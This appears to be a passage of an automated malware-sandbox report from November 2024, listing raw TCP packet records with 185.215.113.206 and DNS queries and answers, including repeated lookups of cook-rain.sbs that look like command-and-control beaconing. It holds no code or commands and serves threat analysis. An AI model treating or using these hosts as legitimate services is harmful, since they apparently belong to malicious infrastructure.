Nov 16, 2024 19:22:32.569503069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569540977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569571972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569587946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569588900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569607019 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569619894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569634914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569634914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569653988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569669962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569680929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569684982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569715023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569719076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569737911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569751024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569758892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569772005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569775105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569787025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569787979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569799900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569802999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569813967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569813013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569833994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569844007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.570002079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570080996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570092916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570106983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570111990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.570142031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.570230961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570245028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570259094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.570278883 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.570295095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571321964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571366072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571373940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571394920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571409941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571429014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571443081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571444035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571460009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.571466923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571476936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.571487904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573025942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573065042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573071003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573079109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573097944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573117971 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573247910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573261976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573276997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573298931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573302031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573313951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573329926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573349953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573365927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573380947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573400021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573419094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573421001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573434114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573451996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573467970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573468924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573479891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573497057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573509932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573513985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.573533058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573554039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.573568106 CET	80	49770	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 19:22:10.433341026 CET	192.168.2.5	1.1.1.1	0x80d0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:10.433459997 CET	192.168.2.5	1.1.1.1	0xccb1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:13.988260984 CET	192.168.2.5	1.1.1.1	0xd3da	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:13.988575935 CET	192.168.2.5	1.1.1.1	0x14e9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:14.991091967 CET	192.168.2.5	1.1.1.1	0x20ba	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:14.991137028 CET	192.168.2.5	1.1.1.1	0xb1f7	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:21.111948013 CET	192.168.2.5	1.1.1.1	0xe61a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:21.112073898 CET	192.168.2.5	1.1.1.1	0xe43e	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:22.536015987 CET	192.168.2.5	1.1.1.1	0xe946	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:22.536287069 CET	192.168.2.5	1.1.1.1	0x3d48	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 16, 2024 19:22:23.747689009 CET	192.168.2.5	1.1.1.1	0x1518	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.747843981 CET	192.168.2.5	1.1.1.1	0x6d34	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:23.832860947 CET	192.168.2.5	1.1.1.1	0xc8b2	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.833060026 CET	192.168.2.5	1.1.1.1	0xac4c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:23.841569901 CET	192.168.2.5	1.1.1.1	0xf585	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.841737032 CET	192.168.2.5	1.1.1.1	0xb22a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:23.859764099 CET	192.168.2.5	1.1.1.1	0x60fb	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.859895945 CET	192.168.2.5	1.1.1.1	0x305b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:23.868845940 CET	192.168.2.5	1.1.1.1	0x2cd2	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.868987083 CET	192.168.2.5	1.1.1.1	0xafd5	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:25.832755089 CET	192.168.2.5	1.1.1.1	0x864b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.832887888 CET	192.168.2.5	1.1.1.1	0x7564	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:25.833136082 CET	192.168.2.5	1.1.1.1	0x8f35	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.833285093 CET	192.168.2.5	1.1.1.1	0x8823	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:22:25.841006994 CET	192.168.2.5	1.1.1.1	0x22e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841371059 CET	192.168.2.5	1.1.1.1	0xf326	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:13.101244926 CET	192.168.2.5	1.1.1.1	0x4101	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.569865942 CET	192.168.2.5	1.1.1.1	0xb61e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.570167065 CET	192.168.2.5	1.1.1.1	0x94d8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:23.573493958 CET	192.168.2.5	1.1.1.1	0x1bc9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.573760033 CET	192.168.2.5	1.1.1.1	0x597f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:23.576080084 CET	192.168.2.5	1.1.1.1	0x4118	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.576276064 CET	192.168.2.5	1.1.1.1	0x6a2a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:33.708916903 CET	192.168.2.5	1.1.1.1	0xdd29	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:48.956465006 CET	192.168.2.5	1.1.1.1	0xb808	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:48.956569910 CET	192.168.2.5	1.1.1.1	0x8840	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:49.537440062 CET	192.168.2.5	1.1.1.1	0x8cc4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:49.537790060 CET	192.168.2.5	1.1.1.1	0xcc16	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:50.263374090 CET	192.168.2.5	1.1.1.1	0xafc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:50.263374090 CET	192.168.2.5	1.1.1.1	0x42db	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 19:23:53.924901962 CET	192.168.2.5	1.1.1.1	0x9359	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:53.925280094 CET	192.168.2.5	1.1.1.1	0x9e27	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 16, 2024 19:24:01.386620045 CET	192.168.2.5	1.1.1.1	0x459c	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.791760921 CET	192.168.2.5	1.1.1.1	0xecee	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.792115927 CET	192.168.2.5	1.1.1.1	0x1c89	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:24:04.793246031 CET	192.168.2.5	1.1.1.1	0x9898	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.793406010 CET	192.168.2.5	1.1.1.1	0xffba	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:24:04.794847965 CET	192.168.2.5	1.1.1.1	0xf297	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:04.794991016 CET	192.168.2.5	1.1.1.1	0x6978	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 16, 2024 19:24:14.942909002 CET	192.168.2.5	1.1.1.1	0x78b6	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:33.880733013 CET	192.168.2.5	1.1.1.1	0x788c	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:24:56.537220001 CET	192.168.2.5	1.1.1.1	0xfba1	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:25:15.648701906 CET	192.168.2.5	1.1.1.1	0xb98	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:26:11.017144918 CET	192.168.2.5	1.1.1.1	0x8b84	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:27:37.162070036 CET	192.168.2.5	1.1.1.1	0x11cc	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:29:45.645406008 CET	192.168.2.5	1.1.1.1	0x7fb2	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 19:22:10.440376997 CET	1.1.1.1	192.168.2.5	0xccb1	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 19:22:10.440408945 CET	1.1.1.1	192.168.2.5	0x80d0	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:13.995227098 CET	1.1.1.1	192.168.2.5	0xd3da	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:13.995227098 CET	1.1.1.1	192.168.2.5	0xd3da	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:13.996208906 CET	1.1.1.1	192.168.2.5	0x14e9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:14.998239994 CET	1.1.1.1	192.168.2.5	0x20ba	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:21.120141983 CET	1.1.1.1	192.168.2.5	0xe43e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:21.120552063 CET	1.1.1.1	192.168.2.5	0xe61a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:21.173149109 CET	1.1.1.1	192.168.2.5	0x84cd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:21.173149109 CET	1.1.1.1	192.168.2.5	0x84cd	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:21.191107988 CET	1.1.1.1	192.168.2.5	0x2c17	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:22.544173002 CET	1.1.1.1	192.168.2.5	0xe946	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:22.544190884 CET	1.1.1.1	192.168.2.5	0x3d48	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.755302906 CET	1.1.1.1	192.168.2.5	0x1518	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.755302906 CET	1.1.1.1	192.168.2.5	0x1518	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.756078959 CET	1.1.1.1	192.168.2.5	0x6d34	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.839864016 CET	1.1.1.1	192.168.2.5	0xc8b2	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.839864016 CET	1.1.1.1	192.168.2.5	0xc8b2	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.839864016 CET	1.1.1.1	192.168.2.5	0xc8b2	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.839864016 CET	1.1.1.1	192.168.2.5	0xc8b2	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:23.849019051 CET	1.1.1.1	192.168.2.5	0xf585	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.866548061 CET	1.1.1.1	192.168.2.5	0xb22a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.867692947 CET	1.1.1.1	192.168.2.5	0x305b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.868228912 CET	1.1.1.1	192.168.2.5	0x60fb	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.876178026 CET	1.1.1.1	192.168.2.5	0x2cd2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:23.876255035 CET	1.1.1.1	192.168.2.5	0xafd5	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841062069 CET	1.1.1.1	192.168.2.5	0x7564	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:22:25.841073036 CET	1.1.1.1	192.168.2.5	0x864b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841073036 CET	1.1.1.1	192.168.2.5	0x864b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841080904 CET	1.1.1.1	192.168.2.5	0x8f35	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841080904 CET	1.1.1.1	192.168.2.5	0x8f35	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.841090918 CET	1.1.1.1	192.168.2.5	0x8823	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:22:25.848752022 CET	1.1.1.1	192.168.2.5	0xf326	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:22:25.849579096 CET	1.1.1.1	192.168.2.5	0x22e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:25.849579096 CET	1.1.1.1	192.168.2.5	0x22e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:26.483345985 CET	1.1.1.1	192.168.2.5	0x57db	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:22:26.483345985 CET	1.1.1.1	192.168.2.5	0x57db	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:22:27.648550987 CET	1.1.1.1	192.168.2.5	0x4cb4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:13.142432928 CET	1.1.1.1	192.168.2.5	0x4101	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:13.142432928 CET	1.1.1.1	192.168.2.5	0x4101	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.577380896 CET	1.1.1.1	192.168.2.5	0xb61e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.577380896 CET	1.1.1.1	192.168.2.5	0xb61e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.577415943 CET	1.1.1.1	192.168.2.5	0x94d8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:23:23.580503941 CET	1.1.1.1	192.168.2.5	0x597f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:23:23.580533028 CET	1.1.1.1	192.168.2.5	0x1bc9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.580533028 CET	1.1.1.1	192.168.2.5	0x1bc9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.583162069 CET	1.1.1.1	192.168.2.5	0x6a2a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 16, 2024 19:23:23.583513021 CET	1.1.1.1	192.168.2.5	0x4118	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:23.583513021 CET	1.1.1.1	192.168.2.5	0x4118	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:33.854551077 CET	1.1.1.1	192.168.2.5	0xdd29	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:33.854551077 CET	1.1.1.1	192.168.2.5	0xdd29	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963406086 CET	1.1.1.1	192.168.2.5	0xb808	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963406086 CET	1.1.1.1	192.168.2.5	0xb808	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963406086 CET	1.1.1.1	192.168.2.5	0xb808	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963406086 CET	1.1.1.1	192.168.2.5	0xb808	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963423014 CET	1.1.1.1	192.168.2.5	0xc81	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963740110 CET	1.1.1.1	192.168.2.5	0x8840	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.963740110 CET	1.1.1.1	192.168.2.5	0x8840	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.964282036 CET	1.1.1.1	192.168.2.5	0x774a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.964282036 CET	1.1.1.1	192.168.2.5	0x774a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:48.964282036 CET	1.1.1.1	192.168.2.5	0x774a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:49.544526100 CET	1.1.1.1	192.168.2.5	0x8cc4	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:49.544744015 CET	1.1.1.1	192.168.2.5	0xcc16	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 19:23:50.107778072 CET	1.1.1.1	192.168.2.5	0x47e7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.107778072 CET	1.1.1.1	192.168.2.5	0x47e7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.107778072 CET	1.1.1.1	192.168.2.5	0x47e7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 19:23:50.108517885 CET	1.1.1.1	192.168.2.5	0x62c7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.270292997 CET	1.1.1.1	192.168.2.5	0xafc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 19:23:50.270292997 CET	1.1.1.1	192.168.2.5	0xafc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
